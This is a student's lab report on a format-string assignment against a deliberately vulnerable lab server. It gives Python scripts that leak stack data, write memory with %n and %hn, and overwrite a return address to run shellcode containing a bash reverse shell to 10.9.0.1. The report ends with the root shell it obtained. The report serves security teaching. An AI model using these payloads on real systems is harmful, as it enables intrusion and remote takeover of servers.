Author: Rajat Sethi

Class: CPSC-6200

Date: September 22, 2021

Assignment 1 Report – FormatString

Task 1:

By sending "%s" to the server, the program crashes because there is no 2nd string argument. As proof, there was no message with smiley faces stating that everything returned properly.

```
[09/22/21]seed@VM:~/.../attack-code$ echo %s | nc 10.9.0.5 9090
```

```
server-10.9.0.5 | Got a connection from 10.9.0.1
server-10.9.0.5 | Starting format
server-10.9.0.5 | The input buffer's address:    0xffffd260
server-10.9.0.5 | The secret message's address:  0x080b4008
server-10.9.0.5 | The target variable's address: 0x080e5068
server-10.9.0.5 | Waiting for user input ......
server-10.9.0.5 | Received 3 bytes.
server-10.9.0.5 | Frame Pointer (inside myprintf):      0xffffd188
server-10.9.0.5 | The target variable's value (before): 0x11223344
```

Task 2.A:

64 "%x" were needed to return the first four bytes of input. The first four "AAAA" are represents the first four bytes of input (0x41414141 in hexadecimal).

```
AAAA_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_
%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x
_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x
```

```
[09/22/21]seed@VM:~/.../attack-code$ cat badfile | nc 10.9.0.5 9090
```

```
server-10.9.0.5 | Got a connection from 10.9.0.1
server-10.9.0.5 | Starting format
server-10.9.0.5 | The input buffer's address:    0xffffd260
server-10.9.0.5 | The secret message's address:  0x080b4008
server-10.9.0.5 | The target variable's address: 0x080e5068
server-10.9.0.5 | Waiting for user input ......
server-10.9.0.5 | Received 197 bytes.
server-10.9.0.5 | Frame Pointer (inside myprintf):      0xffffd188
server-10.9.0.5 | The target variable's value (before): 0x11223344
server-10.9.0.5 | AAAA_11223344_1000_8049db5_80e5320_80e61c0_ffffd260_ffffd188_80e62d4_80e5000_ffff
d228_8049f7e_ffffd260_0_64_8049f47_80e5320_517_ffffd325_ffffd260_80e5320_80e9720_0_0_0_0_0_0_0_0_
0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_596ac600_80e5000_80e5000_ffffd848_8049eff_ffffd260_c5_5dc_80e5320_0
_0_0_ffffd914_0_0_0_c5_41414141
server-10.9.0.5 | The target variable's value (after):  0x11223344
server-10.9.0.5 | (^_^)(^_^)  Returned properly (^_^)(^_^)
```

Task 2.B:

Knowing that the first input parameter is 64th in the stack, I created the following script to pull out the secret message. The script creates a malicious file that contains:

- The address of the secret message
- 63 consecutive "%x" to go through the stack
- A final "%s" at the 64th position

This string will pull out the address and print what is located there.

```
content = bytearray(0x0 for i in range(500))
content[0:4] = ('\x08\x40\x0b\x08').encode('latin-1')
inputStr = ""
for i in range(63):
        inputStr = f"{inputStr}_%x"
inputStr = f"{inputStr}_%s"
content[4:len(inputStr)+4] = (inputStr).encode('latin-1')
with open('badfile', 'wb') as f:
        f.write(content)
```

Sending the "badfile" contents to the server yielded the secret message in the output.

```
server-10.9.0.5 | Got a connection from 10.9.0.1
server-10.9.0.5 | Starting format
server-10.9.0.5 | The input buffer's address:    0xffffd260
server-10.9.0.5 | The secret message's address:  0x080b4008
server-10.9.0.5 | The target variable's address: 0x080e5068
server-10.9.0.5 | Waiting for user input ......
server-10.9.0.5 | Received 500 bytes.
server-10.9.0.5 | Frame Pointer (inside myprintf):      0xffffd188
server-10.9.0.5 | The target variable's value (before): 0x11223344
server-10.9.0.5 |@
                  _11223344_1000_8049db5_80e5320_80e61c0_ffffd260_ffffd188_80e62d4_80e5000_ffffd228_
8049f7e_ffffd260_0_64_8049f47_80e5320_3e8_ffffd454_ffffd260_80e5320_80e9720_0_0_0_0_0_0_0_0_0_0_0
_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_309f0600_80e5000_80e5000_ffffd848_8049eff_ffffd260_1f4_5dc_80e5320_0_0_0
_ffffd914_0_0_0_1f4_A secret message
server-10.9.0.5 | The target variable's value (after):  0x11223344
server-10.9.0.5 | (^_^)(^_^)  Returned properly (^_^)(^_^)
```

Task 3.A:

By padding an arbitrary number of characters with garbage, I can change the value of the variable at the specified address to however many characters come before the %n. The following screenshot shows the python script used to make 'badfile.' It is very similar to Task 2's, except it pads the string with "A" and replaces (%x → %c) and (%s → %n).

```
contentLen = 0x500
content = bytearray(0x0 for i in range(contentLen + 0x100))
content[0:4] = ('\x68\x50\x0e\x08').encode('latin-1')
inputStr = ""

for i in range(63):
        inputStr = f"{inputStr}_%c"
inputStr = f"{inputStr}"

while len(inputStr) < contentLen+0x3B:
        inputStr = f"{inputStr}A"
inputStr = f"{inputStr}%n"

content[4:len(inputStr)+4] = (inputStr).encode('latin-1')
with open('badfile', 'wb') as f:
        f.write(content)
```

```
server-10.9.0.5 | h_D__@_ _@_`_@@__(_~_`__d_G__@@_`_`_ _____H_@_`_@@_ _
_____@AAAA
```

```
                                                    500_The target variable's va
lue (after):  0x00005000
server-10.9.0.5 | (^_^)(^_^)  Returned properly (^_^)(^_^)
```

Task 3.C:

Using the %hn format string, I was able to change the bytes individually. First, I changed the first two bytes at 0x080e506A by padding 0xFF99 characters. Second, I changed the last two bytes at 0x080e5068 by padding 101 more characters to overflow the bytes from 0xFF99 to 0x0.

```
contentLen = 0xFF99
content = bytearray(0x0 for i in range(0x500))
content[0:4] = ('\x6A\x50\x0e\x08').encode('latin-1')
content[4:8] = (' AA ').encode('latin-1')
content[8:12] = ('\x68\x50\x0e\x08').encode('latin-1')
inputStr = ""

for i in range(62):
        inputStr = f"{inputStr}_%c"

padLength = (contentLen - 0x8A)
inputStr = f"{inputStr}_%{padLength}c_%hn_%101c_%hn"

content[12:len(inputStr)+12] = (inputStr).encode('latin-1')
with open('badfile', 'wb') as f:
        f.write(content)
```

```
                                                    _The target varia
ble's value (after):  0xff990000
server-10.9.0.5 | (^_^)(^_^)  Returned properly (^_^)(^_^)
```

Task 4.1:

A.) The address marked at 2, the return address, is 0x4 more bytes than the frame pointer at 0xFFD5B83C

B.) The address marked at 3, the input buffer, is at 0xFFD5B910

C.) As in the previous tasks, 64 “%x” specifiers are needed to reach the first input.

```
server-10.9.0.5 | (^_^)(^_^)  Returned properly (^_^)(^_^)
server-10.9.0.5 | Got a connection from 10.9.0.1
server-10.9.0.5 | Starting format
server-10.9.0.5 | The input buffer's address:    0xffd5b910
server-10.9.0.5 | The secret message's address:  0x080b4008
server-10.9.0.5 | The target variable's address: 0x080e5068
server-10.9.0.5 | Waiting for user input ......
server-10.9.0.5 | Received 5 bytes.
server-10.9.0.5 | Frame Pointer (inside myprintf):      0xffd5b838
server-10.9.0.5 | The target variable's value (before): 0x11223344
server-10.9.0.5 | bruh
server-10.9.0.5 | The target variable's value (after):  0x11223344
server-10.9.0.5 | (^_^)(^_^)  Returned properly (^_^)(^_^)
```

Task 4.2:

Breaking into system to acquire a reverse shell using format strings is a several step process.

- Find the location of the return address.
- Find the location of the buffer.
- Create a payload that overwrites the return address and points to the middle of the buffer, which NOP sleds into the malicious shellcode.
- Open a netcat listener on a separate terminal.
- Send the malicious payload to the victim.

This screenshot shows the several addresses relevant to the program. The frame pointer is 4 bytes under the return address, which is accounted for in the payload.

```
server-10.9.0.5 | Got a connection from 10.9.0.1
server-10.9.0.5 | Starting format
server-10.9.0.5 | The input buffer's address:    0xffffd080
server-10.9.0.5 | The secret message's address:  0x080b4008
server-10.9.0.5 | The target variable's address: 0x080e5068
server-10.9.0.5 | Waiting for user input ......
server-10.9.0.5 | Received 1480 bytes.
server-10.9.0.5 | Frame Pointer (inside myprintf):      0xffffcfa8
server-10.9.0.5 | The target variable's value (before): 0x11223344
server-10.9.0.5 | ???? AA ????_D__?_ _?_?_?_?__H_~_?__d_G_ __H_?_ _ _____________
__________________h_?_?_?_?_ ____4____
```

Using the method in Task 3, I overwrote the return address two bytes at a time. The first two bytes I placed an 0xFFFF, and then I overflowed to hit the middle of the buffer at 0xD280 (so it would run into a NOP sled instead of the garbage at the beginning).

I also put the shellcode with a standard reverse shell at the end of the input, which would be exploited using netcat.

In the end, the payload looked something like:

"Format String Return Address Overwrite – NOP Sled – Shellcode"

```
contentLen = 0xFFFF
content = bytearray(0x90 for i in range(1480))
content[0:4] = ('\xAE\xCF\xFF\xFF').encode('latin-1')
content[4:8] = (' AA ').encode('latin-1')
content[8:12] = ('\xAC\xCF\xFF\xFF').encode('latin-1')
inputStr = ""

for i in range(62):
        inputStr = f"{inputStr}_%c"

padLength = (contentLen - 0x8A)
inputStr = f"{inputStr}_%{padLength}c_%hn_%{0xD280}c_%hn"

content[12:len(inputStr)+12] = (inputStr).encode('latin-1')

shellcode_32 = (
   "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
   "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
   "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
   "/bin/bash*"
   "-c*"
   # The * in this line serves as the position marker         *
   "bash -i >& /dev/tcp/10.9.0.1/9090 0>&1;                   *"
).encode('latin-1')

content[1400 - len(shellcode_32):1400] = shellcode_32

with open('badfile', 'wb') as f:
        f.write(content)
```

This screenshot represents the root shell obtained through this exploit, which was listening on a separate terminal.

```
[09/24/21]seed@VM:~$ nc -nv -l 9090
Listening on 0.0.0.0 9090
Connection received on 10.9.0.5 47518
root@185407ebd1ff:/fmt#
```